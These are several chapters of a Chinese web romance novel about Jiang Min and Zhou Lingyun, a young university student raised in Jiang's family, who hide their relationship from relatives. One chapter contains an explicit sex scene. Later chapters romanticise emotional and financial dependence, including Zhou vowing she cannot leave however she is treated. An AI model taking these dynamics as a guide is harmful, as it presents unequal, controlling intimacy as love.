到底年纪小,禁不住激,周灵蕴霎时脸色大变,“什么年纪大会疼人,我觉得不一定吧,这分人,年纪小的未必不会疼人……” 她不服气,拿姜悯举例,“她也奔三了,我看她一点不会疼人。哼,疼人?磨人还差不多。” “你不喜欢姜黏女朋友啊?”谷香岚顺着她话说。 “我觉得那女的面相有点刻薄,不像好人。” 老女人,为老不尊,周灵蕴还记恨,尽情诋毁。 谷香岚煞有其事点头,“确实,年纪大的心眼多,看似会疼人,其实呀,每一步都是精心设计好的,背后隐藏着许多不可告人的秘密。你说对吧?” 周灵蕴“嗯嗯”点头,说得太对啦! 叹气,谷香岚拉着周灵蕴的手,来来回回那么摸啊,“怎么就不是你呢,如果姜悯喜欢的人是你就好了,你们真能在一起就好了。” 啊? 啊? 周灵蕴使劲眨了两下眼睛,“阿姨你什么意思啊。” “老话说,肥水不流外人田嘛。”谷香岚说蕴蕴是个好女孩,乖巧听话的好女孩,“你是我看着长大的嘛,两家人老的跟老的住,小的跟小的住,早就融合成一家人了。你是什么样的人我当然清楚,外面那些妖艳贱货,哪有家里知根知底的好?我真希望你能跟姜悯在一块。哎——” 周灵蕴把摘来的小葱送进厨房,听春梅叹气说等雪化,地里的小菜全要化水烂掉,她晕晕乎乎的,回房间,床尾那搂个抱枕,呆坐。 满脑袋都是谷香岚那句“我真希望你能跟姜悯在一块”。 是暗示吗? 姜悯抹完脸从卫生间出来,瞧她傻那,把房门反锁,回头两腿一分直接跨她腿上坐,两手搂着她脖子,“你刚跑哪儿去了。” 手臂本能圈紧她腰肢,周灵蕴仰脸亲了下姜悯脖子,“帮阿姨摘菜。” 姜悯横起一指,戳在周灵蕴鼻尖,“你老实交代,早上是不是偷亲我了。” 周灵蕴抓来她手指按在唇边,连续亲吻,用实际行动回答。 晨起精力充沛,也洗漱完毕。 很适合做。 姜悯情不自禁扭了一下腰。周灵蕴敏锐察觉到她的变化,将她蜷缩的手指根根展开,掌心贴在脸颊,从掌根位置开始,吻湿热细碎。 那上面还残留着洗手液和她常用的面霜味道,周灵蕴又将她手背翻转,每一处都照顾到。 呼吸渐热,姜悯跪坐周灵蕴怀里,彼此那处紧贴着,潮热气渗出皮肤,她难忍磨蹭,忍不住“嗯”了声。 “谷阿姨在菜畦那跟我说了会儿话。”周灵蕴攥着她手腕不放,朝后拉,往自己腰上放。 “你好奇她跟我说了什么吗?” 姜悯果然警惕,身体微微紧绷,“你们说了什么?” “她知道我去摘菜,她看见了,她是专门过去跟我说话的。” 周灵蕴有一下没一下亲她,手从她衣下摆灵巧探入,她的恐惧在掌心具体化,有细小的鸡皮疙瘩冒出来。 “我妈说了什么?”姜悯催问不休。 “你很害怕我们的事被人知道吗?”周灵蕴把握住她的命门,各方面的,掌根持续发力,指缝里推挤出形状。 姜悯一直知道周灵蕴操作好,她玩游戏方面就能看出来。脑子也好,有计划有安排,很会筹谋的,那本《孙子兵法》让她偷师学去了。 “你故意的吧!”姜悯骤然拔高声调,被她弄疼了。 窸窣动作,周灵蕴手指抽出,那上面湿漉漉的。她向她展示,眼珠漆黑,瞄点锐利锁定,启唇含住。 姜悯倒吸一口凉气。不满她的骤离,也被她的花样百出震撼到。 “你要不要尝尝?”周灵蕴装得客气,不等也不需要她的允许,手指撬开她牙关。 “我知道的,就算全世界都说,你们天生一对,你们就该在一起。知根知底也好,肥水不流外人田也罢,你自己心里那关过不去,你都不会认。你其实根本不在意别人的看法。” 她们在一起生活那么多年,周灵蕴太了解她了,说那么多都是借口。 什么别人的眼光,什么面子,冠冕堂皇,其实就是胆小。 “……可我真觉得你胆子挺大的。”周灵蕴感受到与那处不同的温热的包裹感。 跟姜悯这个人一样,是软的黏的,也是霸道强势的,有坚硬的牙齿和强劲的咬合力。 春梅“咚咚”敲门,喊她们吃饭的时候,正是姜悯半身埋陷被褥,膝被分,快要到的时候。 她死死咬住牙关,强忍不发出一点声音,全身都在用力,脚背绷紧,双手攥拳,手背浮现出清晰筋骨纹路。 快意飞来,她上身霎时抬高,虚空凝滞两秒,随后猛地栽倒,仰头大喘。 周灵蕴跪坐,居高临下欣赏片刻,侧躺在她身边,捞起她一缕长发,指节缠绕几圈,“外面好多人呢,和蔼可亲的长辈,结果我们在房间里关着门做这种事情。” 她手往下够了把,“你看你流这么多。” 姜悯偏过头,仅剩的力气,抓来枕头埋住脸。 “你俩干啥呢,叫好几遍了……”春梅又在外头喊。 “不是吵架吧?快出来吃饭,一会儿凉了。” “是在干,干得起劲。”周灵蕴笑盈盈,“但有人下面一点也不干。” “能不能闭嘴!”姜悯扔开枕头,忍无可忍,怒视。 “过河拆桥。”周灵蕴挑眉,“给她吃爽了让我闭嘴了。” 以怨报德?心里竟生出股恨。 由恨生狠,她越是避讳,越是想前顾后、踌躇不决,周灵蕴越是想整,往死里整。 迅速套上外衣,衣摆用力一扯,姜悯眉心拧成一团,委屈又愤懑,“你非要这样吗?” “那你不觉得自己很可笑很矛盾吗?”周灵蕴捡了个纸团扔到她脸上,“又当又立。”—— 作者有话说:咕今天五点多就起来写了! 第85章 童养媳要做当家主母 被扔纸团, 有一瞬间,姜悯是想发火的。 有点烦,有点心虚, 刚做完还有点累,沉吟的那几秒, 她惊奇发现, 自己竟然在学着控制情绪了! 姜悯认真想了想后果,真在家吵起来, 妈妈肯定要问。 她嘴不算严,情绪失控还容易口不择言,到时竹筒倒豆子似全倒出去,被老爸知道她跟个十几岁小孩谈恋爱, 还整天床上颠鸾倒凤,不知天地为何物…… 别活了。 手背揉揉脸蛋被纸团砸过的地方,姜悯泄气翻身仰倒在床。 心虚不单是跟周灵蕴谈恋爱,还有在她们日复一日的相处中,她逐渐意识到, 感情线萌芽的时间比她想象的要早。 周灵蕴不懂, 周灵蕴还是个孩子。她只知道谁对她好, 她就喜欢谁。 那你呢?姜悯。 ——“你也不懂吗?” ——“你多大了。” ——“你真找童养媳呢?” 姜悯无所谓别人眼里的她是什么样的, 这些年她胡言乱语,也没少造自己的谣。 没有的事情,真真假假, 她当笑话讲,逗自己开心。无关痛痒,无庸争辩。 但她跟周灵蕴是真有。 而她并不擅长撒谎,也没法不对人坦诚。 小时候跟着书本上教程做叶脉书签, 选肥厚的广玉兰叶子,水中添入小苏打浸泡煮沸,捞起用牙刷清理掉多余叶肉,双氧水漂白,晾干后将其夹入书页便算完成。 晓风微凉的初夏,那人窗边安静阅读,偶然翻到书本里的叶子,举高迎光欣赏片刻,回头望向她。 ——“这片叶子跟你一样。” 她刚从床上爬起来,顶着满头乱发,揉揉眼睛问啥意思。 女生笑笑,“每一片叶脉的走向,都那么清晰明了,毫无伪饰。” 是夸奖的意思,可以理解为真诚坦诚,也说她容易挂脸,不懂,或不屑圆滑。 以上,是那人离开很久之后,姜悯慢慢琢磨出来的。 她当时哪里懂得起。 要么,书合拢,谁也瞧不见她。 要么就翻开,敞着,任人看个够。她每一条叶脉走向都清清楚楚、明明白白。 她会有翻开的一天,但不是现在。她还没有准备好,这片叶子不够好看,不体面。 有点累了,姜悯闭上眼睛。 周灵蕴跪坐在旁,一瞬不移地看着她。有跟她大战一场的准备,在说了那句难听话之后。 周灵蕴承认,确实有故意激怒她的成分,想跟她吵架,是发泄也是在寻找解决问题的办法。 冷暴力和热暴力之间,周灵蕴更倾向后者。 童养媳要做当家主母,找当家的要名分。当家的却不理,觉得她身份不匹配,还是外面有别的小媳妇了? 周灵蕴想法就这么简单。 她心里还有挺多介意的点。 她们是睡过之后姜悯才承认跟她关系的,没有正式告白,没有许诺,一条含糊其辞的朋友圈就把她打发了。 正常情侣是这样吗? 在过分追求透明的年纪,周灵蕴难以接受。 好吧,退一万步讲,她们之间情况特殊,无法类比,以上全不计较,既然已经在一起了,那就告诉她们好了,有什么不能说? 姜悯的回避,周灵蕴只能粗暴理解为,她可能没那么喜欢她。 她侧颜沉静冷漠,凝视许久,某个瞬间,周灵蕴产生了撤退的念头。 要不算了吧。 对方若即若离的态度,让她每日在患得患失中惶恐不安,生活全乱套,几乎快失去自己。 是要强的人,周灵蕴不喜欢这种感觉。 始终追咬不放,也是想在姜悯明确的态度里明确自己,让生活回到正轨,专心学业。 春梅第三次来敲门,催她们出去吃饭。鬼知道她们大清八早就起来做? 周灵蕴下地,大致收拾了下床,纸团捡起扔垃圾桶,绕到床另一边,站姜悯面前,“起来去吃饭。” “我不吃。”姜悯闭着眼,一动不动。 “为什么不吃,你昨晚睡前就嚷嚷饿。”周灵蕴木着脸,情绪也不高。 “人麻了。”姜悯说。 周灵蕴糊涂,“麻了?什么意思。” “累了,爽麻,下面被弄麻。”高高举起双手,脚尖绷直,腰线被拉得更为细长,姜悯舒服伸个懒腰,翻身抓个抱枕搂怀里。 “没胃口,不吃了,你自己吃吧。” 什么人啊,在说些什么啊。 周灵蕴忽然泄了气,一下蹲到地上,趴床边抓着她手,掌心贴在脸颊,眷恋摩挲。 “不要赌气好不好,去吃饭吧。我错了,我承认是我不对,我以后再也不这样了。” 得寸进尺,蹬鼻子上脸,姜悯懒洋洋掀开半拉眼皮,“你没错,是我的错,是我顾虑太多。” “那你的顾虑一定有自己的道理,只是以我现在的智慧理解不了。” 周灵蕴亲亲她手指,乖得不得了,“你不想说就算了,我们这样也挺好,我想通了,事实关系存在就好。我们每天都在一起,除了我,你也没有别人,我们一起吃饭,散步,喂猫猫,这样的生活我很满足。” “还做。”姜悯补充,又把眼睛闭上了,表情舒展开,一脸的理所当然。 周灵蕴“嗯嗯”点头,“是的,还做。我好喜欢看你那个时候的表情,我好高兴自己能为你带去快乐。” 她不住亲吻她手心,“我好喜欢你,真的好喜欢好喜欢。我想永远跟你在一起。” 少年人的爱,炙热浓烈,情话也直白。 姜悯睁开眼睛,不由为之动容。 那双黑亮的眸子明明白白写着,那份爱满到溢出,像浓稠的松脂,将她包裹得密不透风。 “你刚骂我。”姜悯愈发有恃无恐。 现在的她哪里能想到,周灵蕴将来某天真的会下定决心离开她。 “我错了。”周灵蕴再次道歉,并承诺以后会尊重她意愿,“我不会再跟你要什么了。” 强扭的瓜不甜,周灵蕴更不想以后只靠乞讨过日子。 手里捧一把沙,攥越紧流得越快。她开始学着放松。 “那最好是。”被哄舒服了,姜悯撑肘靠坐床头,像摇椅上慢悠悠打着蒲扇的地主婆。 “道理你自己也很清楚的嘛,关系事实存在不就行了?我们的事情,没必要让全世界的人都知道,我不喜欢被人蛐蛐。什么官宣不官宣,小学生思维,小学生谈恋爱才动不动就‘一辈子爱你’、‘我们的爱永不凋谢’、‘恨恨恨’……” 周灵蕴嘴角抽搐一下。 想过报复的,就哄着她,顺着她,成日把她捧到高高的。 有句老话怎么说,飞得有多高,摔得就有多痛。 咬一口肉馄饨,周灵蕴心里嘀咕说叫你不珍惜我,再咬一口肉馄饨,再嘀咕说叫你成天欺负我。 周灵蕴想象自己居高临下,看姜悯跪坐在地毯,抱着她大腿痛哭流涕,说“求求你不要离开我呜呜呜,我再也不敢了”…… 到底是小孩,没忍住,周灵蕴“噗呲”乐出声来。 姜悯奇怪看她一眼。 周灵蕴憋回笑,表情讪讪。 “想什么呢,乐成这样。”谷香岚笑眯眯看着她,清炒的什锦蔬菜往她面前推推,说要注意营养均衡。 姜悯不作声,也好奇。 “没啦。”周灵蕴摇摇头,“学校里的事。” 姜爸顺势问起她课业相关,周灵蕴很高兴说这些,讲农学院各种好玩的事,讲宿舍另几个女生,重点讲了在奶茶店打工的赵圆。 也是给诸位打个预防针,“明年夏天,暑假我也想找份兼职来做。” 姜悯倏地掀眼。 姜爸表示支持,“喜欢就去做,打工虽然辛苦,但我相信那一定是很好的体验,可以帮助你提前适应社会,同时拓宽社交圈子,能在外面交到更多的朋友。因为啊,等你再长大些,就发现外面真的很难交到真朋友啦!大家都变坏,防备心变重了,要珍惜这个年纪交到的朋友啊,别像你姐姐一样……” 老头跟姜悯想法不一样,他希望周灵蕴可以走出去,不单是从山里走向山外,对孩子衷心的祝愿和期待,希望她可以看到更为广阔的世界。 老登的虚荣不假,他们改变了她的命运。爱亦然,他早就把周灵蕴当作自己的孩子。 老登前半句,姜悯不置可否,后半句她实在忍不住要开炮。 “你喜欢给人上课,您上,好为人师表嘛显得自己多有能耐,理解理解,但能不拉踩吗?” 她不说话还好,一说话,老登不得不把枪口对准她了,桌下老婆拿脚怎么踹都没用。 “你跟小蕴是在谈恋爱吧,你发那条朋友圈,说对象带你打游戏的,是在说小蕴吧。” 周灵蕴两耳起立,咀嚼的速度变慢。 “谁说的?”姜悯歪了下头,眼睛瞪圆,快速瞄了眼周灵蕴。 她疑心她撒谎?说一套做一套?周灵蕴捕捉到姜悯视线,迅速破译,顿时气炸,恨不得把筷子掰断。 “还用说。”老头冷笑,随后自得,“你真当我是老古董啥也不懂,啥也不知道,你们那个游戏,你说的那个对象,叫‘猫大王’的,是全程最佳的嘛,MVP的嘛,那不就是小蕴微信名。” 老头白眼翻上天花板,“确实,我不懂你们年轻人那些弯弯绕,可我总不至于连字也不认得吧。” 糟糕! 姜悯心里咯噔一下,怎么忽略了这个。 她再次看向身侧,周灵蕴死死瞪着她,眼球几乎脱眶。 姜悯将视线挪去盘中,“这芦笋不错,真够新鲜的。” “别打岔。”姜老头今天誓要打破砂锅问到底了。 “你们两个到底有没有在谈恋爱。” 周灵蕴低头咬馄饨,默不作声。 “当然没有。”姜悯倒是答得痛快,“你觉得可能吗?我跟周灵蕴差着那么多岁数,让别人知道,别人该怎么看我,兔子还不吃窝边草呢。” “是吗?”老登眯眼,“你什么时候这么在乎别人的看法了。” “在意吗?也没有。”姜悯无所谓耸肩,“我只是随口,我觉得太扯了。周灵蕴来家的时候才多大啊,我没有饥不择食到这种地步吧。” 周灵蕴不懂姜悯的这份爽快,是下意识的防御姿态,是危急情形时的肾上腺素飙升,还是打心眼没认可她们之间的关系。 众人各怀心事,饭桌气氛诡异。谷香岚发愁看着这对姐妹,春梅满脸写着“这么大瓜就我不知道”? “哎呀!”春梅气得直拍大腿。 她气自己啊,在这个家待了那么多年,这点眼力见都没有,一大早跑去敲房门坏人好事,还敲了那么多道! 她真该死。 只有老太太,看破不说破,似乎半聋听不见她们讲话。大智若愚。 老登微妙一笑,“本人从未对此事发表过任何看法。”—— 作者有话说:迅疾菇,夸夸 第86章 有爱,就还能坚持 姜悯事后找老登算账, “多大年纪了说话不知道过过脑子,一大早胡言乱语些什么?” 雪霁天晴,素日和煦, 茶室檀香袅袅,斜铺得满地白金。 老登慢悠悠温壶烫盏, 面对姜悯质问, 不知是年岁渐长脾性有所收敛,还是因为别的, 比如看闺女吃瘪,暗中得意…… “看见什么就说什么,客观陈述,怎么到你嘴里就成胡言乱语了?真是岂有此理。” 老登不屑哼声, 乌龙入宫,将茶叶分层放置于紫砂壶,“敢做不敢认,你还是不是我们姜家子孙,知道我们老姜家历史上都出过什么大人物吗?真是有辱门楣。” “孟姜女?”姜悯面上浮现狞笑, “哭倒长城那个。要我相仿古人呐, 她哭丈夫我哭爹。可您老人家还没到法定退休年龄呢, 这么早就要入土为安了吗?” 老登刷地变脸。 姜悯“呸呸”拍嘴, “不算数,我乱说的。” 老登面色稍缓,邀她入座, 为其斟茶,“你这张嘴一般人真受不了。” “不都遗传你。”姜悯持杯慢啜,幽幽茶香暂抚心头焦火。 老登拧眉沉思片刻,随后摇头一阵叹息。 是遗传他。 前日, 谷香岚找周灵蕴进行过一番谈话,现在轮到老登跟姜悯了。 跟自家小孩,就直说了,不整那虚的,弯弯绕绕的。 “也是我们那时候太忙了顾不上你,让你经历了很多不好的事情,有时候,是觉得你脾气不好,嘴里说话也没把门,但转念一想,女孩子嘛性格强势一点没啥坏处,免得被人欺负……” “欸——”姜悯不耐烦掏耳朵,“你要不要每次都从盘古开天说起啊?” 还是人老了,往后的日子所剩无多一眼就望到头,实在没啥可新鲜,只能翻来覆去讲过去。 老登不理,自顾自继续。 “咱俩是爱吵架斗嘴,都挺看不惯对方,可都只是嘴上说说,你仔细回忆,你的事情,我有干涉过吗?” “你干涉得了哇?”姜悯乐了,“我又不听你的。” 老登不屑哼声,“你真以为我真管不了,那是我懒得掺和。说白了,你是个啥样的人,跟我半毛线关系没有,你脾气坏我又不跟你过,我跟你妈过。你掰着手指头算算,从你生下来到现在跟你妈和我相处的时间加起来才多少,你一年才回来几次?” “你后半辈子,都是要跟别人过的!”老登忽而拔声,朝天猛一挥胳膊,“你的生活要靠自己经营,谁也帮不了你,好歹都是你,晓得不?你爱跟谁过跟谁过,你过得舒心,是你本事,你过得不舒心……” “不舒心如何?”姜悯问道。 “那就是你活该。”老登言罢饮茶。 姜悯沉默。 话至此,态度明了,老登不再多言,“行了你走吧,我也不乐意跟你处,看见就烦。” “走就走!”本是找老头算账的,这块老姜中的老姜,竟是反将她一军。 不服气,姜悯起身离开之前,把老头茶盘上的小和尚茶宠推倒了。 “你——”老登怒视。 姜悯回房,小毯子裹着自己,窝在沙发上。 她发现自己确实过于缺乏对亲密关系的理解和经营。那天那顿早餐之后,周灵蕴就不怎么搭理她了,她有意识到自己说错话,想解释,却无从下手。 在跟周灵蕴的关系里,她久居高位,习惯了俯视,不懂怎么弯腰低头。 那顿早饭结束,她回到房间,等待周灵蕴前来问罪,但意料之外,周灵蕴回来只是取她挂在衣桁上的外套。 “我要出去一趟,万玉和梦真叫我,我们去玩雪。” 姜悯小小惊了下。 她不由出声,喉咙急促而高昂的怪叫,试图通过异动吸引周灵蕴注意力。 周灵蕴果然回头,看她一眼,同时两手摸到羽绒服拉链,快速一拉到底,“怎么了?” “你就没什么想问的吗?”姜悯不知鼓起多大勇气才说出这句话,她声音都在发抖。 往常,面对她的摇摆不定,周灵蕴总是先发制人的那一个。 ——“为什么?” ——“我不是你的女朋友吗?” ——“逗我玩,想看我生气。” ——“还是真那么觉得。” ——“快点,不然哈你痒痒肉了。” 要么就是生闷气,在厨房里把炒菜锅颠得震天响,瓷碗与岩板餐桌连连相撞,扫地机器人满屋子跑,她自己拎着洗地机在后面追,鬼扯说什么机器人扫不干净…… 生气时候的周灵蕴很“吵”。 她喜欢琢磨,擅长分析,再小的疙瘩,只要惹她不痛快了,眼里心里不痛快了,她不好过也不会让别人好过。 也不能说是吵架,就是爱掰扯,啥都掰扯。 并不反感,老实讲,姜悯还挺喜欢。喜欢她在乎的样子,虚荣心得到极大满足。 可怕的情绪怪物,不断诱导并吞噬对方身上散发出来的消极能量。 紧张焦虑,挂念,伤怀,还有真切的眼泪。 周灵蕴呢,似乎也习惯了一次又一次,无休止的争论来验证自己的存在。 固有的相处模式被打破,姜悯有点不习惯。 “玩雪啊,挺有意思的,我好像也很久没玩过雪了,你们打雪仗吗?” 姜悯僵僵坐在沙发,这已经是极限了。示弱示好的极限。 “嗯。”周灵蕴点头,“乱玩,想玩什么就玩什么。” 并没有邀请,也没有靠近,周灵蕴站在房间门口,“我走了。” 姜悯默不作声,死死盯着她。 垂睫躲避,视线转移,周灵蕴走到床头柜拿起正在充电的手机,拔线揣进裤兜。 再次回到门前,她说第二遍“我走了”。 姜悯不想她走。 生气她那天说的话,为什么不问,为什么装作若无其事好像一句没听见,为什么刻意忽略她的需求,不带她出去玩,跟朋友一起玩。 嘴巴却像填满沥青,黏黑的,张不开。 周灵蕴站在门前,不言不动,等。 她眼神异常平静。她怎么会看不出来呢,她们在一起生活那么多年,对姜悯的了解,她胜过自己,她怎会不知姜悯在等待她的示弱和请求。 可她偏就想试试,假若她往后不再示弱,不再是主动的一方,姜悯会朝她迈出一步吗? 不,半步。半步就够了。 姜悯会吗? 答案显而易见了。 “那你去呗。”不爽到极点了,后槽牙都快磨出火花,还是铁打的膝盖,弯不了一点。 心中一声嗤笑,周灵蕴点头应“好”。 很不公平啊。不分对错,为什么每一次都要她去哄。 无理取闹的是她吗? 享受关系带给自己的一切,却拒绝甚至否认关系的,是她吗? 是你啊姜悯。 是你一次一次把我推远的。你对我做了那么多坏事,你从来没有跟我道过歉,安抚过我。 是,我是离不开你,我靠你养着,奶奶也靠你养着,我欠你很多钱,你的恩情,我一辈子也还不清,我永远也不会离开你。 可我也是你的女朋友啊,你心里我的喜怒哀乐一点也不重要吗? 我也是人呐。 雪还没化,快要化了吧?万玉说,还不出来玩雪,再不出来就玩不到了。 今年天真冷啊,周灵蕴总觉得,这是她经历过最冷的一个冬天了。 小时候家里穷,穿不起羽绒服,饭菜也没什么油水老吃不饱,但那种寒冷,只停留在皮肤表面。 放学回家,奶奶早烧好热水等,洗完澡吃一碗香喷喷的蛋炒饭,便由内而外暖起来了。 而此刻,荒芜的雪原上行走,不明方向,只是走。周灵蕴弯下腰,胸腔剧烈跌宕几下,她口鼻喷洒出浓白雾气,悲痛与茫然凝实,无声化雨滴落。 雪地里一个一个的小窟窿。 我真的不知道该怎么办了。周灵蕴手臂捂住脸蹲下去。 我是什么,我是谁,在她的世界里扮演了怎样的角色。 还是我得寸进尺,想要的太多。 哭了很久,好几次,周灵蕴试图让自己安静平复,可她根本做不到。 她真的没办法离开姜悯,即便她对她越来越差。 横臂抹了把眼泪,过分用力,本就被泪蜇疼的眼睛寒风中愈发刺痛难忍,周灵蕴起身调头大步往后走,大脑供血不足,还不慎跌了一跤。 好在雪地蓬松,她并未受伤,一路哭,一路擦着眼泪往回走。 临近午休,客厅没人,周灵蕴庆幸自己的丑陋狼狈没有引来瞩目。 她换好拖鞋,大步走到房门前,猛地压下门把,推开。 姜悯还在原来的位置,保持着原本的姿势。 她微张嘴,挺身,显然意外,随后眉头攒起真实的困惑,“你怎么回来了?” 呆呆凝视着窗外黑色枯枝上的落雪,姜悯看起来有点不开心,因为她吗? 周灵蕴霎时被自责淹没,朝她奔去,双膝摔砸在地毯,一头扎进她怀里。 姜悯愣住,立即抱住她,“你不是说跟朋友出去玩雪,她们欺负你了?” “不,没有。”周灵蕴用力摇头,声音闷闷的,“我不去了。” 好像有一点明白了,姜悯吸气,缓缓卸下紧张,手掌落在周灵蕴冰凉的发顶,一下下轻抚。 “我没办法离开你,没办法。”哽咽着含糊着,周灵蕴一声叠着一声,“我一分钟都没办法离开你,一分钟都,离不开……” 完蛋了呀,周灵蕴觉得自己完蛋了。 无论姜悯怎么对她,是骂她打她,踢她踹她,她都没办法离开她的。 至少,此刻,姜悯下意识的流露,真切的关怀和慌张,不都是因为她吗? 她是爱她的,只是不擅表达,只是用错了方式。 用力呼吸,嗅闻她的气味,周灵蕴手臂用力圈紧她。 有爱,就还能坚持—— 作者有话说:友友们,七夕快乐,自己一个人也要吃好喝好哦—— 第87章 怎么会变这样 这个新年, 周灵蕴过得一点也不开心。 姜爸说从朋友那搞到一车烟花,站客厅中间两条胳膊比划,说最大的一人环抱, 炸出来有孙悟空脚踏七彩祥云与紫霞仙子结婚效果,到时拉茶厂门前的停车坝去放。 周灵蕴本窝在沙发陪奶奶看电视, 闻言倏地弹起, 手跟着画了个大大的圆,“一车?” 也觉得有点夸张, 姜爸“哈哈”乐,“是面包车,面包车。” “那也很多啦!”周灵蕴高兴起来,连日低沉情绪略有回升。 除夕夜, 一家人吃罢晚饭驱车前往茶厂,周灵蕴车上给万玉和梦真发消息,让她们赶紧出来找个开阔地,看烟花大会。 茶厂前的坝子空旷漆黑,远山只剩下沉默的轮廓, 巨大的烟花筒在空地逐一摆放好, 像一排等待检阅的士兵。 “咻——” “砰!” 撕裂夜的寂静, 烟花猛蹿上高空, 在抵达顶点时轰然绽放。 周灵蕴本能扬起脸,金光四射,她视线完全被璀璨艳丽的火光占据, 内心震撼无比。 紧接着,第二枚、第三枚……烟花大会正式开始。 震耳欲聋的轰鸣声似是贴地炸开,通过脚底传来阵阵酥麻,光团重复着膨胀, 盛开到凋零的过程。 近在咫尺,要将人吞噬。 金瀑、紫云、绿柳……姜爸没吹牛,效果确实绚烂至极。 不知第多少次,周灵蕴转过头,看向身边人忽明忽暗的脸,期待与她默契相顾,却不知为何总错过。 眼角余光,周灵蕴捕捉到了她的视线,急忙忙扭过头去,姜悯却已经离开。 好几次,只差零点零一秒,她感觉到她目光的驻留,她们就要对上,可又不约而同被骤然绽放在天空的花束吸引。 或许,是缺少了一点过去周灵蕴最引以为傲的,与她的心灵感应。 最应该牵手共度的时刻,为避嫌,在姜悯的家人面前,她们没有牵手。 周灵蕴脸上的笑意随着烟花的次第绽放,点点淡下去了。 她发现自己离得太近了。 近到能清晰看见烟花炸开瞬间,那粗糙的颗粒感。 近到能嗅到空气中弥漫的呛人的硝烟。 近到那震响不是来自天空,而是直接撞击在鼓膜,引起胸腔沉闷的共鸣。 每一次绽放,都因过于庞大和逼近,反而无法看清它在夜幕中舒展的全貌。 她只能看到一片耀眼极具压迫性的光,或几缕溢出的破碎色彩。 周灵蕴想起小时候,有一年,镇上也办了烟花大会,奶奶带她去看。 那时她还在上小学,人堆里踮着脚,努力伸长脖子也只能从大人们的胳膊和脑袋缝隙里,窥见天空小小的一角。 可那时看到的烟花是完整的。 墨蓝的天幕上一朵接一朵,清晰而梦幻。 记忆太久远,覆盖了一层类于日暮的昏黄滤镜,眼睛里的色彩也变得模糊,但那份简单而纯粹的快乐,却真真切切填满她小小的胸膛。 从镇上回到家里,她兴奋念叨了好几天。 时至今日仍难忘。 而此刻,她站在最前排,毫无遮挡,烟花仿佛触手可及。 可她怎么也高兴不起来。 周灵蕴好想牵一牵姜悯的手,又怕掌控不好力道,攥得太紧,捏痛她,反让她流走。 周灵蕴无声退后几步,成为一名彻底的,抽离的旁观者。 她看见烟花炸开后,纷扬转瞬即逝的灰烬。 群星谢幕,姜悯背影也变得模糊。 回去的路上,群聊里万玉和梦真刷屏,发了几十张照片,周灵蕴随意戳开几张,远些确实能看得更清楚。 [蛋挞姐,姐姐姐,快看。] [但手机根本拍不出来烟花的好看。] [还是新手机呢,不行。] [也是,手机怎么比得过我的眼睛呢。] [那是不是说明,我拍照不好看,其实不是我的问题,是手机……] 蛋挞在群里发了个红包,祝大家新年快乐。 [也祝我们的友谊地久天长。] 友谊地久天长,这六个汉字的排列组合顺序看起来很美呢,且真实而充满希望。 周灵蕴想象,几十年后,她们垂垂老矣,同片天空下,仍能相约着看一场烟花,顿觉满足。 也许真是我想要的太多。我太贪。 如果当时,旁边站的是万玉,她还想去牵她的手吗? 也许会吧,她们是朋友。 好朋友,拉拉手,高兴就拉拉手。 但也不是非牵不可。 周灵蕴开始学着站到远一些的地方看姜悯。 她不想再从姜悯身上获得什么了,也是一次又一次的希望落空,让她不敢有所期待,学着自己调节情绪。 [感觉你最近有点不一样了。] 返校那天,周灵蕴没让姜悯送,自己坐地铁去的。她刚收拾好床铺,爬上二层休息,打开手机就看到这条。 [哪里不一样。] 周灵蕴打字回复。 当然不一样了,周灵蕴比谁都清楚。很早之前就不一样了。 她很想问问姜悯,你才发现吗?才发现我变得跟以前不一样了吗? 没必要,算了。 [你不高兴我,过年时候。] [对我有什么不满,直接说。] [非要惹我心烦!] [你好惹我心烦!] 姜悯似是忍无可忍,对她近来所作所为不满到极点。 [我长大了。] [我会自己试着调节情绪。] [我的初衷,是不给你添麻烦……] [不惹你心烦。] 她不老嫌她烦嘛,追着咬着要名分,怎么人家自己想通了不要了,也不许。 室友们还没来,周灵蕴独自在寝室,她不由低嗤一声。 [我觉得你不爱我了。] 姜悯草率宣布审判。 [那你爱我吗?] 周灵蕴反问。 [你觉得呢。] 姜悯道。 你觉得,你觉得。 太好笑了,就那么难以启齿吗? [我觉得你不爱。] 周灵蕴如实告知自己内心感受。 也是最近一个月,她才慢慢开始说服,并让自己接受,姜悯也许并不爱她这个事实。 以周灵蕴的个性,实在很难做到,爱一个人却把她藏起来,不炫耀不展示,不嘚瑟。 所以她真的不理解啊,不理解…… 谷姨说,希望姜黏的女朋友是她,玩笑说是肥水不流外人田,但那不正代表对她的认可。 姜叔也说,年轻人的幸福要靠自己争取,自己经营。在暗示她,他并不反对。 全家上下,谁不准她们在一起了? 周灵蕴只能理解为不爱。 [那我们的过去如何解释?] 姜悯抛出跟周灵蕴内心同样的困惑。 是习惯,是依赖。你也许是误判了。 否则,为什么对我那么苛刻,我的眼泪你好像看不到,我的情绪也完全不重要,我总是先认错讨好的一方,尽管我什么也没有做错。 我跟你在一起好累啊姜悯。 周灵蕴扔开手机,袖子盖住脸,眼泪在鼻梁和眼窝的交接处积了一小窝。 她偏过脸,倒进耳朵里,润湿头发和枕头。 答案已经很明确了,不是吗。周灵蕴却一个字也不敢说。 说出来就完了,她跟姜悯就彻底完了。 长大为什么是这样的,爱不是这世上最美好的东西吗。快乐的体验竟如此短暂,更多时间在痛苦中煎熬,反反复复,纠缠爱与不爱。 患得患失,魂不守舍,心被人攥在手里不再只是为自己跳动。 太紧,会疼;太松,又觉得空。 [那我们的过去如何解释?] 姜悯又问了一遍。 周灵蕴坐起来,扯出几张抽纸擤鼻涕,纸团胡乱丢一边。 [我爱你,我很确定。] [但我实在搞不懂你的态度。] 周灵蕴引用了她那句“那我们的过去该如何解释”。 [可不可以先跟我解释下,那天饭桌上那番话。] 周灵蕴一个字一个字敲下来。 [当然没有。] [你觉得可能吗?] [我跟周灵蕴差着那么多岁数,让别人知道,别人该怎么看我,兔子还不吃窝边草呢。] [在意吗?也没有。] [我只是随口,我觉得太扯了。] [周灵蕴来家的时候才多大啊,我没有饥不择食到这种地步吧。] 周灵蕴发送完毕,回看,不由惊叹自己的超凡记忆力。 有这个本事,何愁将来考不上研。 [或许你忘了,但我没有。] [可以先解释一下,以上这番话说出口前的心路历程吗?] [还是根本没有历程,就是脱口而出。] “我早就解释过了。” 姜悯发来一段语音,语气明显透着不耐,显然为周灵蕴频繁的纠缠感到烦躁不已。 [可你的解释很假很空,在我看来,只是敷衍搪塞,逻辑上根本站不住脚。] [我是傻子吗?] [我是不识字还是听不懂道理。] [你的解释根本就说不通。] “那你爱怎么理解就怎么理解吧,我觉得自己做得够多了。” 